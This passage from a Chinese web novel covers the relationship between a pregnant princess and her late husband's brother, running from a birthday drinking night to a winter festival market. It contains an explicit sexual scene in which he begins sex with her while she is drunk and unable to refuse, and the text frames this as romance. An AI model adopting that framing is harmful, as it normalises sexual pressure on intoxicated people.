薑稚月听见宋砚辭的声音,浑身一僵。 继而,心底里生出一丝她自己也说不出的情绪来,有些想哭,又像是劫后余生时突然泄了一股气儿一般。 她的腿一软,险些摔倒在地。 幸而锦葵和琉璃随时都在观察她的反应,速度极快地将她扶住了。 薑稚月站起身来缓了口气,缓慢挪动有些僵硬的双腿,一步一步极慢地走了进去。 屋中的药味儿比之今日她离开时还要重上许多。 薑稚月的胸口泛起一阵潮意。 她才刚抚上胸口,宋砚辭像是似有所感一般,低声吩咐褚屹: “屋中,闷得慌,将门窗都打开通通风。” 薑稚月抬手制止了褚屹的动作: “如今执玉哥哥刚醒,还是不要开了。” 说罢,她又回头安抚宋砚辭: “我没事,现在已经不是很想吐了。” 宋砚辭并未答话。 他看上去疲惫极了,手背搭在额头上,脸颊和唇上没有一丝血色,眼底晕着一片乌青,眼皮低低垂着,似是虚弱到几乎睁不开眼。 他盖着被子,姜稚月看不到他身上伤口的情况。 方才明明盼着他能醒来,如今醒来后又不知要同他说些什么,她便有些尴尬地坐在床邊。 宋砚辞也没有要说话的意思,两人一时又沉默了下来。 屋中的气氛像是凝滞了一般,令人感到窒息。 过了好久,姜稚月听见他哑着嗓子低低笑了一声,疲倦的语气中满是说不出的落寞: “阿月还记不记得,那年我腿受伤那晚?” 姜稚月眼睫一顫,抬眸看他,却一眼撞进了宋砚辞琥珀色的眸底。 他的眼睛宛若一潭幽深的泉,其中漾着星星点点的波光,似乎看一眼,就让人能深陷其中。 姜稚月的心猛地漏跳了一拍。 她匆忙移开视线,语气生涩: “那、那晚怎么了?” 宋砚辞轻笑: “那晚,你在我床邊哭了一整晚,还说我的腿是为了救你而断,要是好不了,你就嫁给我,照顾我一辈子——” 他似是说得有些急了,缓了缓,似是回忆到从前的事情,唇角微微勾了起来: “最后那晚,你是抱着我的手臂睡着的,口水流了我一胳膊。” 宋砚辞话没说完,姜稚月没忍住笑出了声。 方才那种低沉的气氛也在她这一笑中荡然无存,两人之间就像是破开了冰冻的口子,空气一下子又流动了起来。 “阿月。” 宋砚辞叫她。 姜稚月看过去,男人眼底神色温柔: “孩子还好么?” 姜稚月有些不敢面对他的视线,只能佯装点头,借机移开视线盯着自己的膝头衣料上绣的那朵牡丹发呆。 宋砚辞的视线似乎从她的小腹上掠过: “我听张太医说,孕妇懷孕期间,多笑一笑,生出来的孩子也会更爱笑。” 姜稚月神色一滞,没想到他同自己说的会是这句话。 察觉到她的诧异,宋砚辞垂下眼皮。 半晌,他扯了扯唇角,眼神中全是溃败,似是疲惫到了极点,声音帶着压抑的顫抖: “阿月,明日我让褚屹送你出宫,我以宋国太子的名义派使臣送你回去,来日,相信你太子哥哥定会帮你寻个品貌上乘的……” “我不走了。” 姜稚月打断他的话。 床上宋砚辞搭在额上的手心猛地一攥,没出声。 半晌,他喉结重重滚动了一下,嗓音沙哑道: “阿月,你应当离开的,你留下……” 他的话没说完。 姜稚月却因为他这句话,心中无端升起一丝莫名的紧张,似乎隐隐约约料到,倘若自己留下后,要面对的是什么。 但现在,至少此时此刻,若是遵从自己的内心,她无法、也不想离开。 床上之人是执玉哥哥,是她十多年日日相處在一起的青梅竹马,是她情窦初开后喜欢了好几年的人。 尽管如今已经对他没了男女之情,但十数年的情分还在。 况且…… 她低头看了看自己隆起的小腹: “我决定暂时不离开了,如今外面定然不完全太平,我也不想再让你涉险。等我生下孩子,你再送我离开吧,想必那时候,一切也都已经稳定了。” 宋砚辞没说话,他将搭在额上的手臂向下挪了几分,挡住了他的眼睛。 姜稚月看不清楚他的表情。 她停顿了很久,内心纠结了很久,有句话却怎么都说不出口。 宋砚辞似是感受到她的欲言又止,将手臂放了下来,静静瞧着她,唇边笑意孱弱: “怎么了,想说什么?如今你说什么……我都答应你,哪怕是你现在反悔了说要离开。” 姜稚月被他一看,面露不自然,咬了咬唇,还是开口说到: “执玉哥哥若是、若是于子嗣有碍,这个孩子生下来……便认你做父亲吧,这孩子本就欠你的救命之恩,大宋国的皇位也总得有人继承,况且,将来我也不会帶走它……” 尽管不舍,但这个孩子身为宋国的皇子,若是帶回姜国可想而知處境该有多难。 再者既然决定放下,那么关于宋知淩、宋砚辞以及和他们有关的所有一切,她都不会带走。 姜稚月还在兀自说着,丝毫没有察觉到她说“子嗣有碍”时宋砚辞怔愣过后一言难尽的表情。 等她说完看向他的时候,宋砚辞掩唇轻咳一声,温声笑道: “今后之事,今后再说,只是如今天色已晚,你先回去好好睡一觉吧,什么都别想。” 姜稚月应了声,瞧出他的疲惫,便也没再多留- 日子一天天过去,姜稚月没问宋砚辞,那日最后姚盈初是怎么處理的。 她只每日都去宋砚辞那里待上一两个时辰。 只是当她选择暂时不再回去的时候,她与宋砚辞之间从前那种剑拔弩张便好像消失了。 宋砚辞不再咄咄逼人,她也不再逃避。 再加之刚经历过他险些重伤死去,姜稚月对于他的态度软和了许多,日子好像又回到了幼时两人相处的时候,只是少了个在一旁插科打诨的宋知淩。 等到宋砚辞的身体彻底好起来的时候,宋国已经进入了冬天。 姜稚月的身孕也已五个多月快六个月。 她的小腹已经隆起,身姿也越发有了妇人的风韵,举手投足间都透着几分娇媚的韵味。 这日宋砚辞处理完一日政务回到临安宫的时候,姜稚月正躺在摇椅中睡着。 柔和的月光如水一般铺洒在她曲线玲珑的娇躯上。 身上白色的绒毯不知何时从她的胸前滑落至了小腹。 风一吹,领口被掀起,露 出一小片莹白如玉的完美弧度,随着她的一呼一吸缓慢起伏。 宋砚辞脚步停在她不远处,眸光渐黯,视线缓慢地从她领口游移到脸上。 许是睡得热了,小孕妇的脸颊泛着两抹酡红,小巧的鼻尖沁出些许细汗,红润小巧的唇微微张开,白皙的贝齿在檀口中若隐若现。 她睡得很乖,让宋砚辞想起了他们三人曾经养过的那只小猫。 只不过那只小猫从前最喜欢粘着他,总是找着机会钻进他懷中,用毛茸茸的脑袋蹭他。 模样可比眼前的小孕妇乖顺多了。 宋砚辞眼尾红得像染血的朱砂痣微微动了下,他垂眸意味不明地轻笑出声。 不知过了多久,躺椅上的人渐渐有了要醒来的趋势。 宋砚辞收回落在她身上的视线,神色恢复如常。 “醒了?” 他走过去,将手中提的东西放下,替她将绒毯拉起来,语气温柔: “在这里睡着,当心着凉。” 姜稚月的视线随着他的动作落在被他放在桌上的酒坛上,不由一怔,眨了眨眼,忽然恍然想起了什么。 “今日是执玉哥哥的二十三岁生辰?!” “嗯。” 宋砚辞眼底含笑,似乎对于她还记得这件事十分愉悦。 他指了指桌上的酒坛,笑道: “薛家的酒。薛凝知道你有孕,特意调制出酒精极淡的梅花酿,我问过太医了,你可以少酌两杯。” 从前姜稚月就偶尔会馋酒。 经常和宋知淩藏在不知道哪个角落里偷着喝,但酒量又一般。 很多次都是等到宋砚辞发现的时候,她已经喝得酩酊大醉,或者干脆是喝醉了,就不知道从哪个角落里自己又唱又跳地蹦出来了。 借着耍酒疯,往他怀里一靠,傻乎乎地乐。 每当这个时候,宋砚辞总要十分头疼地想法子,替她在她的太子哥哥面前遮掩过去。 姜稚月许是也想到了这一茬,漂亮的杏眸中浮现一抹久违的笑意。 “薛姐姐如今如何了?” 其实她知道,宋砚辞定然截掉了很多二姐和薛姐姐她们给她的信。 但他不说,她也就装作不知道。 她记得她离开姜国的时候,薛凝应当是刚有孕不到三个月,这么算下来,薛凝的月份比她的约莫要大上近两个月。 “你太子哥哥在西南边疆连打胜仗,薛凝自是好得很。” 宋砚辞很默契地没有提信的事。 替两人倒了酒,察觉出姜稚月不经意间的低落,他轻轻在她脑袋上摸了摸,安抚她: “等你生产后,就能回去了。” 姜稚月猛地抬头,睁着一双圆溜溜的眼睛瞧他,不确定似的: “你真让我回去?” “嗯。” 宋砚辞笑着与她碰了杯。 姜稚月得了他的肯定,心中既怅然又忍不住憧憬,将梅花酿一口飲下。 “还记不记得六年前我生辰那日?” 宋砚辞自顾又倒了一杯酒飲下。 不知是不是姜稚月的错觉,他的眼尾似乎有些隐隐泛红。 她在脑中回忆一番,猛然想起六年前宋砚辞生辰那日的事,心情跟着一下子低落了下来。 “记得——” 她学着宋砚辞的样子,也给自己倒了一杯飲下,垂眸看着地上冷清清的月色,轻声道: “那时候我听宫里的太监说起外边的赌场有多有趣,便趁着与你庆生那日,央着你和宋知淩带我去瞧瞧。” “那时候你啊,还有宋知凌,你们两个都是小孩子心性。” 宋砚辞唇角微微勾了起来,语气宠溺: “明明去赌场前,我交代过宋知凌,他也向我几番保证进去后不胡来,最大的任务便是看好你,结果你们两个一进赌场,没走几步,他就带着你跑没影儿了。” 姜稚月忍不住笑出了声,笑着笑着,嗓音里又有了些许哽咽。 “宋知凌从小就是这样,不着调,又爱冲动。” 从前赌场那次是,这次回宋国途中……也是。 姜稚月吸了吸鼻尖,饮了口酒,抬头看着天上的月亮,耸肩笑道: “也不知道云笙过得好不好啊,不过他这人最不挑吃穿,性子又洒脱,走到哪里都狐朋狗友一堆,应该不会过得太差。” “……我很想他。” 小姑娘的语气很轻,轻到让人以为只是一声寻常的叹息。 宋砚辞侧头去看她。 同他和宋知凌比起来,姜稚月其实很娇小,她的发顶,甚至只到他们的胸口为止。 从前三人走在一起,往往是身量极高的两个男人中间,夹着一个娇小的姑娘,若是在外遇见什么精彩的表演之类的,有时候宋知凌还会直接将她架着坐在肩膀上。 也正是因为她娇小,所以她的肚子也没有一般妇人那么明显。 此刻小孕妇半蜷缩在躺椅上,月光流泻在她仰着的小脸上,衬得她更加单薄娇小。 他的视线定定落在她身上好久,忽然哑声开口: “你是当真,想要回去姜国么?” 姜稚月落满月色的浓睫陡然颤了两下,然后她低低嗯了一声: “很想。” 她说话的时候,眼神一直看着天上的月亮,自是没瞧见,当她说出“很想”两个字的时候,宋砚辞眼底划过的一抹深意。 “也好。” 宋砚辞肩膀轻颤,从胸腔里溢出的笑声像是浸了酒渍的醇厚。 他用指腹捻了捻手中的酒杯,抬头一饮而尽,而后从袖中拿出一张纸,递到了姜稚月面前。 “簽了它。” “阿月,簽了它,簽下和离书,对你和你腹中的孩子才算最安全的,将来……孩子就按你说的,我会视若己出,而你,我也会派人送你回去。” 姜稚月打从余光瞥见他拿东西的时候,她就已经隐隐料到,他会拿什么出来。 许是如今心态变了,或者是这段时日和宋砚辞相处得还算融洽,她对于这封“和离书”的抵触没有上次那般强烈。 姜稚月回头,看了良久,沉默地接了过来,拿起一旁石桌上的笔,蘸了墨。 笔尖在署名那里停顿许久,她微微垂眸,眼泪就那般大颗大颗地掉落了下来。 姜稚月深吸一口气,拭掉眼泪,才要提笔去写,手却忽然被人按住。 她泪眼汪汪地抬眸去看,宋砚辞也正无声无息地瞧着她。 男人眼中的怆痛太过刺眼,令她心里一紧。 “阿月,倘若你当真舍不下宋知凌,不签也……” “我签!” 姜稚月心中像是堵了一大片棉花,酸酸涩涩的,说不清是为宋知凌,还是眼前的宋砚辞。 她轻轻拂掉宋砚辞的手,终是将自己的名字签了上去,递还给宋砚辞,看他以兄长的身份,替宋知凌签下他的名字。 姜稚月留恋地在“宋知凌”那三个字上看了一眼,拿起酒杯一饮而尽,而后又接连饮了好几杯。 她好像已经很久没有这般放纵过自己,也很久很久没有这般平和的时候了。 许是怀孕后许久未碰过酒。 才喝了几杯,还未达到太医控制的量,姜稚月就觉得眼前的一切开始旋转,脑子和眼皮都沉沉的。 她把最后一杯酒一饮而尽,忽然“咯咯”笑出了声。 宋砚辞酒杯刚搭上唇边,闻声眼神淡淡的回头看了过来。 见他看她,姜稚月凑到宋砚辞跟前。 “宋砚辞,你说……嗝!” 她的手在他脸前虚晃了两下,手指抚上他的眉眼,呼出的全是甜腻的酒气: “你说……那时候我喜欢你的时候,你有没有想过……嘿嘿……有没有想过,咱俩有一天会是现在这样?” “现在这样?是哪样?” 宋砚辞察觉到她醉了,锁着她的视线,任她的小手在他的脸上作乱,指腹漫不经心地摩挲着杯口。 姜稚月似乎当真歪着脑袋认真想了一下。 但她脑子里乱乱的,想不起 来具体怎么描述,干脆嘴一撅,语气十分理直气壮: “就……就是现在这样!” 说着,还用手胡乱比划了一下。 宋砚辞轻笑了一声,眼底满是宠溺。 他将她细白的手腕攥在掌心,微微抬起她的下颌,盯着她看了两息,突然间俯身在她的唇上啄吻了一下: “是这样么?” 他嗓音暗了下去,带着她的手一起搭在她的腰带上,暗沉的声线充满磁性的诱惑: “还是……这样?” 第55章 第55章俯身吻了上来 姜稚月盯着他的脸,足足愣了好久,突然捂住自己的嘴,口齿不清地抱怨: “你、你干嘛咬我?!” 宋硯辭知她醉得不浅,低头闷闷笑出了声。 他也没多做解释,只是掌住她白皙纤弱的脖頸,慢条斯理地輕捏了两下,额头抵着她的,笑问: “那我让你咬回来,可好?” 姜稚月脑袋完全转不过弯了,眼神发直地愣了半天,才烦躁地甩甩头,挥了挥手道: “算、算了!本、本公主大人有大量!才不同你计较!” 宋硯辭眼神不动声色地紧锁在她身上,眼底的笑意之下翻涌着暗潮。 喝醉了的小姑娘有种莫名的娇。 白皙莹润的两頰晕出浅浅酡紅,杏眸中氤氲着酒精润湿的迷离,嫣紅的唇瓣沾上了酒水,娇艳欲滴。 微眯起眼的时候,有如海棠春睡,媚意撩人。 她似乎有些累,左右看了看,推了推宋硯辭。 宋硯辭唇角含笑,顺着她的动作坐正了些,小姑娘顺勢就倒在了他的怀中。 她寻了个合适的位置靠好,舒服地蹭了蹭,闭着眼睛嘿嘿笑道: “执玉哥哥,我们好久……嗝!好久没有这样喝过酒了!” “你那时候……嗝!那时候有没有想过,会爱上我?” “有没有想过……我会怀上、怀上你弟弟的孩子?” 宋砚辞的胸膛坚硬而滚烫。 他伸臂护在她两侧,防止她坐不稳摔下去,他的视线落在她隆得不明显的小腹上,眸中情绪几经翻涌,最终语意晦涩地开了口: “那阿月从前不是还想过,我们三个人要永远在一起?” 其实这句话,从前姜稚月同他和宋知凌说过很多遍。 那时候她说,她要嫁给他们两个,给他们一人生一个孩子。 当时宋知凌也尚且年幼,什么都喜欢同他争,闻言自是缠着姜稚月,让她保证,她的第一个孩子必须先给他生。 那时候,他和宋知凌尚且自身难保,他也根本无从生出旁的心思,却不想如今一语成谶。 想起那时候姜稚月和宋知凌的童言无忌,宋砚辞低低笑出了声。 他环住她的腰,掌心落在她的小腹上,低头凑近她耳旁: “从前每一次,念着宋知凌是弟弟,我总是让着他,阿月——” 他在她乖巧软糯的耳垂上輕輕咬了一下,低低笑道: “让他先,不代表我不要。” 他灼热的气息喷洒在耳后,漫不经心的语气带着勢在必得的笑意。 姜稚月只覺得一阵酥麻从耳后窜起,血液似乎都沸腾了起来,原本白皙的脖頸都覆了层淡淡的潮粉。 察覺到她的情//动,宋砚辞朝下看了一眼,语意不明地问道: “张太医是否说……阿月如今的胎象已稳,可以适度做些运动了?” “什、什么?” 姜稚月没听清,眨了眨眼睛问他,眼底漾出更多的水光。 宋砚辞笑了起来,手掌在她的腰侧,语调中带着少见的痞意: “真要我再说一遍?” 再说一遍? 那不需要了,还真当她没听清么?不就是运动么。 姜稚月点点头,十分肯定道: “对、活动!今日我还没活动呢!我要……嗝!我要去散散步!” 说罢,作勢就要起身。 然而才刚动一下,她就忽然被宋砚辞叩着腰重新压坐回了他怀里。 “宋砚辞!” 姜稚月娇喝一声,回头气冲冲地瞪他。 娇嫩的唇却在回头的瞬间,恰好擦过他滚动的喉结。 她醉得毫无所覺,瞪着他凶了不过两息,又嘿嘿笑了一声,凑到他脸跟前很近的地方,盯着他的眼睛。 姜稚月的思维迟钝,丝毫未看到他眼中逐渐翻涌而起的浓重墨色,还一味洋洋自得道: “你看、看我干嘛?是……是看本公主长得、长得漂亮么?嘿嘿。” “阿月。” 宋砚辞的嗓音沙哑得厉害。 “嗯?” 姜稚月低着头晃了晃脑袋,犹自沉浸在自己的美貌中不可自拔,忽然感觉身子一輕。 她娇呼一声,小手下意识攥紧了宋砚辞的衣襟,口齿不清地娇喝: “放、放放放肆!” “你喝醉了酒,独自一人如何活动——” 男人压根儿没理她小猫般的挣扎,眸色深深地盯着怀中的小孕妇看了一眼,沙哑的嗓音压重了几分: “我陪你。” “我才不要回……啊!” 姜稚月的话未说完,宋砚辞已经抱着人大踏步地往房间里走去。 临进门前,他回头沉声吩咐常乐: “看紧门,任何人不得靠近寝殿。” 姜稚月脑中懵懵的,还没搞懂宋砚辞最后那句话的意思,只觉得身下一冰,便被他放在了桌案上。 “唔,你、你干什么呀?” 她不满地娇嗔,挣扎着想要从书案上下来,宋砚辞却掌住她的双腿,强硬地站了进来。 直到抬眸透过雾蒙蒙的水汽看清男人眼底不加掩饰的慾//念,姜稚月才稍稍意识到事态仿佛不知道哪里有些不对劲儿。 她的小手抵在他的胸膛上推了推: “我、我要休息了……” “阿月。” 宋砚辞紧紧盯着她,哑声唤她。 在她还未反应过来的时候,男人忽然压着她的腰,俯身埋进了她的頸窝间。 姜稚月身子一僵,脑中纷乱成麻。 她隐隐察觉到这样不对,却再难做出下一步反应和动作。 男人落在颈侧滚烫的鼻息,和唇若有似无的触碰,一层深于一层从她的身体深处牵出某种早就熟悉过的意动。 她不禁微微仰起脖颈,压抑不住地逐渐喘息出了声响。 宋砚辞听见声音,胸腔闷闷震颤着轻笑出声: “阿月好乖。” 姜稚月烦躁地嘤咛,脑中盘算着还要说些什么,下巴忽然被他攥住后抬高。 男人拉下眼皮睨了她一眼,拇指在她的唇上重揉了一下,俯身便吻了上来。 姜稚月猛地瞪大眼睛,眨了又眨,最后终于反应过来,口中呜咽着去推他。 然而双手才刚碰上他的肩,便被他掐住了手腕。 两条细白的手腕被交叉推至头顶,姜稚月不得已只能微微挺直了腰身,一双水眸中满是泪汪汪的委屈。 她动了两下手臂,挣脱不得,吸着通紅的小鼻尖在两人的唇齿间轻声抱怨: “疼……” 宋砚辞松了她,唇邊漾起一抹松弛的笑意,微微挑眉笑看向她: “那我轻些?” 昏暗的月光映在男人的脸上,将他带着笑意的眉眼映出久违的温柔。 姜稚月直愣愣地抬眸看着他,不知为何,就鬼使神差地点了点头。 宋砚辞眼底忽的一黯,唇邊懒散地笑意瞬间落了下来。 他松开她的双臂,压着她的后脑,强势的吻比之方才更加猛烈地袭来。 铺天盖地的危险气息,几乎瞬间就攫取了姜稚月的心神! 她的大脑一片空白,捶打在他肩头的手起初用足了力气,在他的攻势下也渐渐使不上劲儿。 娇细的后腰倏然被男人掐紧,绝对占有的姿势,让她根本无从逃脱他强硬的桎梏。 意识在胶着的唇舌中溃散,粉嫩的小舌尖被那人含嘬着,吸得嫩舌疼麻一片。 宋砚辞很高,此刻他站着她坐着更是相差巨大。 她被迫高高仰头迎合他的吻,兜不住的涎液因激吻溢出唇角,沿着潮红的脸頰滚落 至耳根,留下一道晶莹的印子。 姜稚月喉间细弱的呜咽软糯无助,节奏紊乱地喘息,脸上潮晕迷离。 她水光氤氲的眸受不住地微睁,却意外瞧见宋砚辞一直在看着她。 他一边吻她,幽沉的眼眸同时微微下敛,一边一错不错地睨视着她,将她脸上的情绪尽收眼底。 姜稚月愣了一下,偏头躲开他的唇。 身前男人的动作一停,缓缓站直了身,视线如有实质般压了下来。 姜稚月无助地抿唇,红潮满溢的小脸上神色仓皇而羞赧。 在他的注视下,她重重吞咽了一下。 宋砚辞忍不住轻笑出声。 大掌轻轻划过她的衣襟,似挑非挑,最后落在她曲线隆起的小腹上。 “太医说过,有孕的女人,会更想。” 他的声音在夜色中十分蛊惑。 大手掌住她的后颈,抵在她额上,哄骗她: “阿月,我的唇上很甜,不信你嘗嘗?” 姜稚月视线果然落在他的唇上,像只好奇的小兽。 宋砚辞唇角轻轻勾了起来,语气低低的,像是怕将这只小兽吓跑: “我数三声,你不来尝,我便要吻你了。” 姜稚月眨了眨眼,酒精侵占的脑子还未想明白他这句话的意思,男人已经再度开口: “三。” 随着这似叹非叹的一声,密密麻麻的深吻再度压了下来。 他掐住她的两颊迫她张嘴。 湿滑的口液彼此交缠,带起令人面红耳赤的水渍声。 男人掐着她的腰,让她柔软的身姿紧贴着自己,颇有耐心地缓慢游移。 姜稚月猛地一颤,仓皇的女声从娇唇中溢出,细弱稚嫩得悦耳。 宋砚辞的笑意带着漫不经心的愉悦: “姜稚月,今日是我二十三岁生辰,二十三年,我从未有过一个女人。” 男人喑哑着声循循善诱: “我不要你负责,不要名分,就像从前你练字手酸时我帮你按摩一样,好不好?” “阿月,乖。” “只要你不愿,我们随时停下来……嗯?” 姜稚月颤喘着抓住他的手臂,两条腿垂在桌边。 她轻咬着唇,眼波迷离。 直觉告诉她,她应当立刻将他推开,然而绵软的身子却动不了半分。 她已经不能分辨,眼前是她从前很喜欢很喜欢的宋砚辞,还是她的夫君宋知凌又回来了。 她脑中混乱一片,只有身体的本能让她想要些什么。 他太过醇熟而冷静,游刃有余地撩拨和掌控她的整个人,每一处都在强势圈占。 这让她原本就不清明的脑袋彻底无法思考,亦无法拒绝。 他眼皮薄薄的下拉,视线扫过她莹润透粉的肌肤。 少女几乎是瘫在了他的怀中,仰着红痕斑驳的脆弱脖颈,乖得不像话。 宋砚辞的眼神逐渐加深,额角青筋隐现。 他单手撩开两人之间的阻碍,微微眯了眸,紧盯着她的神色,身子向前试探着一点一点锲入。 第56章 第56章“宋知凌。” 极度的饱胀感让姜稚月瞬间清醒了过来。 透过幽昏暗昧的夜色,她这才刹那间反应过来,她正在和宋硯辭做着什么。 一瞬间眼前的一切恰如一盆冰水兜头浇下,姜稚月的酒醒了大半。 她猛地掐住他的手臂,用尽全力狠推了他一下。 宋硯辭的动作陡然停住,眼尾压着红晕,抬眸看她。 两人在黑夜中,面对着面,交换着彼此压抑不住的滾烫喘息。 良久,姜稚月抿了抿唇,扯过裙裾将自己严严实实遮住,晃晃悠悠想从桌案上下来。 她的双腿还有些发软,头脑也不甚清明。 但她知道她此刻应当离他远些,不然就会犯下再也无法挽回的过错。 宋硯辭攥住她的手臂: “阿月——” 他半阖了下眼,声音沙哑得厉害,却在说出这句话时,看到她眼底的泪而住了嘴。 他喉结急速滾动了几下,眼尾的红飞速褪去,盯着她看了须臾,缓缓松开了她的手。 姜稚月飞快躺回床上,沉默地将自己蜷缩起来。 方才的一切就像一场激烈的梦境,身上熟悉又异样的感觉却提醒她那并非一场梦。 明明只在开头就及时制止了,但又像是什么都做了。 不知过了多久,外间传来沉默的脚步声,房门开了又重新关上,带起一阵潮冷的微风。 姜稚月盯着帐顶,眼泪悄无声息地滾落了下来- 姜稚月第二日昏昏沉沉醒来的时候,昨夜大多数事情已经不记得了。 但最后推开他以前的那一小段记忆,她却极为清楚。 她下意识动了动双腿,异样的感觉还未完全消下去,虽然只有一下,却也是真真实实的做了。 姜稚月紧抿着唇,将自己整个蒙进被子里,脸颊滚烫,心里说不出地复杂。 本以为经了昨夜那件事,宋硯辭应当一段时间不会来找她了。 岂料她才刚起床梳洗完,锦葵就进来说宋砚辞已经到了门口。 姜稚月慌忙对着镜子将衣衫穿戴整齐,又刻意紧了紧衣领,把锁骨处那几颗红痕遮住,这才清了清嗓子,故作镇定地让人开了门。 宋砚辞今日换了一身月白色锦袍,样式倒是十分普通。 然而穿在他身上,却衬出一副别样的清雅来。 原本姜稚月在见到他的一瞬间,那种尴尬和窘迫再次袭来。 正不知该如何与他开口说第一句话的时候,宋砚辞却像是什么都没发生过一样,走进来放下手中的一包点心,笑道: “据说这家点心每天天不亮的时候门前便排起了长队,都是京中各家姑娘们爱吃的,阿月尝尝看可喜欢。” 姜稚月怔了一下,視线落在那个黄油纸包的点心上,下意识点了下头: “好。” 说完,她又觉得自己是否太过生硬,便又急忙跟了句: “执玉哥哥用过早膳了么?留下来吃些早膳,顺便一道尝尝这点心?” 话刚说完,她就后悔得恨不能将舌头咬掉。 留、留他干嘛? 昨晚那些事还不够尴尬么?还要与他一起吃早膳? 宋砚辞的視线若有似无地掃过她懊悔羞窘的神情,轻笑一声,温声道: “不必了,我用过早膳了,今日公务多,便先回去了,对了——” “今日白天你好好休息,申时末我来接你出宫。” 姜稚月眉心微不可察地蹙了蹙,眼底瞬间升起警惕的光: “出、出宫干嘛?” 还是在申时末。 宋砚辞唇角弯了起来,似乎是觉得她这幅样子有趣极了,伸手轻轻在她头上摸了摸: “带你去逛街,今夜有宋国一年一度的冬雪节。” 察觉到她的犹豫,宋砚辞笑道: “不想去?你从前不是最爱逛街?据说那梨花巷中,尽是各个国家的稀奇首飾,不去瞧瞧?” 姜稚月从前最是爱美,一看到好看的首飾和衣物就走不动路。 况且她来宋国这几个月,连寝殿都很少出,确实待得心情有些郁闷了。 她往宋砚辞脸上瞧了眼,见他面容温和,神情坦荡,心中思忖着莫不是昨夜他也喝多了,压根儿不记得那些事了? 这般一想,姜稚月心底的那丝尴尬也隨之少了許多。 况且倘若他都这般坦然,她若是再扭捏,反倒让他生疑。 姜稚月略一犹豫,终是点头应了下来。 宋国的冬雪节比姜稚月想象中还要热 闹。 宋国天黑得早,每一条街巷都灯火通明,游人摩肩接踵。 而最让她感到新奇的是,这一路上不管是小攤贩还是店铺的掌的燈,还是游人手中提的燈,都是用冰雕成的。 那些灯光从被雕琢的各式各样的燈罩透出来,流光溢彩,清澈透亮,竟是比姜稚月用的琉璃灯还要漂亮纯净。 起初,她还有些尴尬于同宋砚辞同乘一车。 但一路看过来,又听宋砚辞一路同她讲宋国的风土人情和他幼时的趣事,等到到了梨花巷的时候,姜稚月白天的那点儿尴尬早就已经荡然无存。 梨花巷是位于宋国京城西南角的一个集市。 因着临西南城门,所以集市中有許多宋国西南那些邻国外邦的特产。 各种异族风情的服飾、地毯、还有镶嵌着各种宝石翡翠的首饰,琳琅满目。 姜稚月一下车就已经眼花缭乱,应接不暇。 宋砚辞跟在她身后,替她护着人群,温声叮嘱: “这里人多,不要乱跑。” 姜稚月哪还听得进去他的话,走了没多久,眼神立刻被街边一个卖异族服饰的攤子吸引去了目光。 那衣裳同她平日里穿的衣裳款式截然不同。 那并非是一件传统的裙装,而是上下分体的两件,上衣和裤子之间,用几条精致的银质链条连着。 宝蓝色的绸缎上,胸口和腰间都坠了一圈金色的铃铛,下裳则从裤脚处开了一条叉,那开叉一路延伸至了膝盖下方的高度。 而这身衣裳外面,还配了一件同色薄纱罩衣和一个围着金色铃铛的面罩。 姜稚月从小就喜欢漂亮精致的东西,乍一看见这件衣裳就喜欢得不行,丝毫没有考虑这身衣裳穿在身上是什么样子。 宋砚辞却是见过酒馆里的胡姬穿过的,况且这集市的这一片攤铺,据他所知,全是卖那些……夫妻用品的。 他轻咳一声,劝道: “阿月,这件衣裳单薄,如今冬日里冷,你……” “哎哟!这位客官!” 他话还没说完,攤主操着一口不甚标准的宋国话,热情开口: “这位夫人生得这般貌美,身材又好,这身衣裳太适合她不过了!” 姜稚月在一旁一面举着衣裳在身前比划,一面狠狠点头,深表认同。 那摊主一见,急忙又趁热打铁道: “况且夫人这般喜欢,这身衣裳又不贵,夫人怀孕辛苦,买件喜欢的衣裳心情也会跟着好起来。” 那摊主一看就是经常做女人的生意,深谙女子心思。 姜稚月听他这么一说,更加觉得这件漂亮衣裳自己势在必得。 她细摸这身料子,柔软得如同无物,再看上面精致的铃铛,还有各种链条锁扣,越看越觉得分外别致,简直哪哪儿都美到了自己心坎里。 她攥着衣裳,瞪着一双大眼睛,乞求地看着宋砚辞。 “再说了,客官您凭良心说,夫人穿上,您会不喜欢么?” 那摊主又道。 姜稚月微微蹙了下眉,虽然觉得这个摊主这句话有些说不出来的别扭,但看宋砚辞没太大反应,她也就没多想。 从前在姜国时就是,但凡是同宋砚辞一起出去,她就从来没带过脑子。 宋砚辞拉下眼皮定定看了她须臾,微一挑眉,唇角弯了起来: “当真想要?” 姜稚月点点头。 “那便……” 宋砚辞轻咳一声,笑着对摊主道: “包上吧。” “诶诶,好嘞!” 摊主殷勤地接过姜稚月手中的衣裳,动作飞快地包了起来,临递到她跟前的时候,又说了句: “小店还有别的款式,不知姑娘有没有兴趣?” 姜稚月循着他的话,往旁边瞅了一下,见靠近摊主那边的衣裳样式更加新鲜。 然而看着看着,她就察觉出了不对劲儿。 那些衣裳极其暴露不说,有些甚至在旁边还配着什么兔耳朵,狐狸尾巴一类的,更有些衣裳,甚至都不能称为衣裳,更像是由许多珠串穿成的链子。 这一看下去,她脑中嗡的一声,刹那间就明白了这些衣裳都是干什么的,手中的衣裳也顿时烫手得不得了。 她红着脸颊悄悄往宋砚辞脸上掃了一眼,见他神情淡然,视线正投在远处的一个卖冰灯的摊位上,似是并未注意到这些。 姜稚月飞快将手中的衣裳往怀里藏了藏,拉着他匆匆离开了这家摊位。 经过方才那件事之后,姜稚月再不敢乱逛。 只在自己熟悉的金银首饰摊位或是宋国特有的冰灯摊位上流连,买了不少漂亮首饰和一只牡丹冰灯。 又走了不久,忽然,眼前一个漂亮的铃铛吸引了她的注意力。 那个用纯金打造的铃铛龙眼般大小,表面凹凸不平,雕刻着许多反复的花纹,中间中空,里面装着一个小球。 看上去像是殿中常用的香熏球。 姜稚月好奇地走过去,刚一拿起来,那铃铛里的小球一滚,就发出清亮的响声,紧接着铃铛便被小球带的飞快震动起来。 “呀!” 她吓了一跳,隨即又新奇地在手中左右滚了滚。 “执玉哥哥,这是什么?瞧着像是香薰球,还挺漂亮。” “想要?” 宋砚辞这次并未回答她的话,而是直接反问。 姜稚月拿铃铛的手蓦地一顿,总觉得宋砚辞这句话的语气怪怪的。 她侧首悄悄去瞧他,就见他的眼神正瞧着摊位上的某一处。 她的眼睛跟着他的视线瞧过去。 才刚一看到那东西,她唇角的笑意瞬间僵在了脸上,手中的金铃铛也随之掉落。 “当啷”一声,那铃铛震颤得更厉害,甚至发出类似蝉声的嗡鸣。 这声音让姜稚月的脸颊更红了。 她只觉得自己像是被一团火瞬间焚烧了一般,尴尬得恨不能立刻昏死过去。 ——宋砚辞看的方向,放着各式各样山羊的眼圈。 